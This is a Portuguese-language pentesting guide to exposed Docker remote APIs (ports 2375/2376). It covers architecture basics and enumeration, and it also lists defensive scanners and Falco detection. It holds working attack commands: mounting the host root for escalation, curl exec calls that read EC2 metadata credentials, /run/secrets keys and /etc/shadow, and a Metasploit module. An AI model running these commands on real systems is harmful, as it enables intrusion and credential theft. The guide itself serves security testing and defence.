2375, 2376 Pentesting Docker

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Docker Basics

What is

Docker é a plataforma de ponta na indústria de containerização, liderando a inovação contínua. Facilita a criação e distribuição de aplicações de forma simples, abrangendo desde tradicionais até futuristas, e assegura seu desdobramento seguro em diversos ambientes.

Basic docker architecture

• containerd: Este é um runtime central para containers, encarregado da gestão abrangente do ciclo de vida de um container. Isso envolve o manuseio de transferência e armazenamento de imagens, além de supervisionar a execução, monitoramento e rede de containers. Informações mais detalhadas sobre containerd são exploradas mais a fundo.

• O container-shim desempenha um papel crítico como um intermediário no manuseio de containers sem cabeça, assumindo perfeitamente o controle a partir do runc após a inicialização dos containers.

• runc: Reconhecido por suas capacidades de runtime de container leve e universal, runc está alinhado com o padrão OCI. É utilizado pelo containerd para iniciar e gerenciar containers de acordo com as diretrizes OCI, tendo evoluído a partir do original libcontainer.

• grpc é essencial para facilitar a comunicação entre containerd e o docker-engine, garantindo uma interação eficiente.

• O OCI é fundamental na manutenção das especificações OCI para runtime e imagens, com as versões mais recentes do Docker sendo compatíveis com os padrões de imagem e runtime OCI.

Basic commands

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd foi desenvolvido especificamente para atender às necessidades de plataformas de contêiner como Docker e Kubernetes, entre outras. Seu objetivo é simplificar a execução de contêineres em vários sistemas operacionais, incluindo Linux, Windows, Solaris e mais, abstraindo a funcionalidade específica do sistema operacional e chamadas de sistema. O objetivo do Containerd é incluir apenas os recursos essenciais exigidos por seus usuários, esforçando-se para omitir componentes desnecessários. No entanto, alcançar esse objetivo completamente é reconhecido como desafiador.

Uma decisão de design chave é que Containerd não lida com redes. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que suporta.

Enquanto Docker utiliza Containerd para executar contêineres, é importante notar que o Containerd suporta apenas um subconjunto das funcionalidades do Docker. Especificamente, o Containerd não possui as capacidades de gerenciamento de rede presentes no Docker e não suporta a criação de swarms do Docker diretamente. Essa distinção destaca o papel focado do Containerd como um ambiente de execução de contêiner, delegando funcionalidades mais especializadas para as plataformas com as quais se integra.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman é um mecanismo de contêiner de código aberto que adere aos padrões da Open Container Initiative (OCI), desenvolvido e mantido pela Red Hat. Ele se destaca do Docker com várias características distintas, notavelmente sua arquitetura sem daemon e suporte para contêineres sem root, permitindo que os usuários executem contêineres sem privilégios de root.

Podman é projetado para ser compatível com a API do Docker, permitindo o uso de comandos da CLI do Docker. Essa compatibilidade se estende ao seu ecossistema, que inclui ferramentas como Buildah para construir imagens de contêiner e Skopeo para operações de imagem, como push, pull e inspect. Mais detalhes sobre essas ferramentas podem ser encontrados em sua página do GitHub.

Principais Diferenças

• Arquitetura: Ao contrário do modelo cliente-servidor do Docker com um daemon em segundo plano, o Podman opera sem um daemon. Esse design significa que os contêineres são executados com os privilégios do usuário que os inicia, aumentando a segurança ao eliminar a necessidade de acesso root.

• Integração com Systemd: O Podman se integra ao systemd para gerenciar contêineres, permitindo a gestão de contêineres através de unidades do systemd. Isso contrasta com o uso do systemd pelo Docker, principalmente para gerenciar o processo do daemon do Docker.

• Contêineres Sem Root: Uma característica fundamental do Podman é sua capacidade de executar contêineres sob os privilégios do usuário que os inicia. Essa abordagem minimiza os riscos associados a brechas em contêineres, garantindo que os atacantes obtenham apenas os privilégios do usuário comprometido, e não acesso root.

A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfatizando a gestão de privilégios do usuário e a compatibilidade com fluxos de trabalho existentes do Docker.

Note que, como o podman visa suportar a mesma API que o docker, você pode usar os mesmos comandos com podman que com docker, como:

podman --version
podman info
pdoman images ls
podman ls

Informações Básicas

A API Remota é executada por padrão na porta 2375 quando ativada. O serviço, por padrão, não exigirá autenticação, permitindo que um atacante inicie um contêiner docker privilegiado. Usando a API Remota, é possível anexar hosts / (diretório raiz) ao contêiner e ler/gravar arquivos do ambiente do host.

Porta padrão: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Enumeração

Manual

Observe que, para enumerar a API do docker, você pode usar o comando docker ou curl, como no seguinte exemplo:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

Se você pode contatar a API remota do docker com o comando docker, você pode executar qualquer um dos comandos docker comentados anteriormente para interagir com o serviço.

Você pode export DOCKER_HOST="tcp://localhost:2375" e evitar usar o parâmetro -H com o comando docker

Escalação de privilégios rápida

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

Às vezes, você verá 2376 ativo para o endpoint TLS. Eu não consegui me conectar a ele com o cliente docker, mas é possível fazer isso com curl.

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

Se você quiser mais informações sobre isso, mais informações estão disponíveis de onde copiei os comandos: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

Automático

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Comprometendo

Na página seguinte, você pode encontrar maneiras de escapar de um contêiner docker:

Docker Security

Abusando disso, é possível escapar de um contêiner, você poderia executar um contêiner fraco na máquina remota, escapar dele e comprometer a máquina:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py

Escalada de Privilégios

Se você estiver dentro de um host que está usando docker, você pode ler esta informação para tentar elevar privilégios.

Descobrindo segredos em contêineres Docker em execução

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

Verifique env (seção de variáveis de ambiente) em busca de segredos e você pode encontrar:

• Senhas.

• IPs.

• Portas.

• Caminhos.

• Outros… .

Se você quiser extrair um arquivo:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Protegendo seu Docker

Protegendo a instalação e uso do Docker

• Você pode usar a ferramenta https://github.com/docker/docker-bench-security para inspecionar sua instalação atual do docker.

• ./docker-bench-security.sh

• Você pode usar a ferramenta https://github.com/kost/dockscan para inspecionar sua instalação atual do docker.

• dockscan -v unix:///var/run/docker.sock

• Você pode usar a ferramenta https://github.com/genuinetools/amicontained para verificar os privilégios que um contêiner terá quando executado com diferentes opções de segurança. Isso é útil para conhecer as implicações de usar algumas opções de segurança para executar um contêiner:

• docker run --rm -it r.j3ss.co/amicontained

• docker run --rm -it --pid host r.j3ss.co/amicontained

• docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Protegendo Imagens Docker

• Você pode usar uma imagem docker de https://github.com/quay/clair para escanear suas outras imagens docker e encontrar vulnerabilidades.

• docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"

• clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Protegendo Dockerfiles

• Você pode usar a ferramenta https://github.com/buddy-works/dockerfile-linter para inspecionar seu Dockerfile e encontrar todos os tipos de configurações incorretas. Cada configuração incorreta receberá um ID, você pode encontrar aqui https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md como corrigir cada uma delas.

• dockerfilelinter -f Dockerfile

• Você pode usar a ferramenta https://github.com/replicatedhq/dockerfilelint para inspecionar seu Dockerfile e encontrar todos os tipos de configurações incorretas.

• dockerfilelint Dockerfile

• Você pode usar a ferramenta https://github.com/RedCoolBeans/dockerlint para inspecionar seu Dockerfile e encontrar todos os tipos de configurações incorretas.

• dockerlint Dockerfile

• Você pode usar a ferramenta https://github.com/hadolint/hadolint para inspecionar seu Dockerfile e encontrar todos os tipos de configurações incorretas.

• hadolint Dockerfile

Registrando Atividades Suspeitas

• Você pode usar a ferramenta https://github.com/falcosecurity/falco para detectar comportamento suspeito em contêineres em execução.

• Note no seguinte trecho como Falco compila um módulo do kernel e o insere. Depois disso, ele carrega as regras e começa a registrar atividades suspeitas. Neste caso, ele detectou 2 contêineres privilegiados iniciados, 1 deles com um ponto de montagem sensível, e após alguns segundos, detectou como um shell foi aberto dentro de um dos contêineres.

docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Monitorando o Docker

Você pode usar auditd para monitorar o docker.

Referências

• https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html

• https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc

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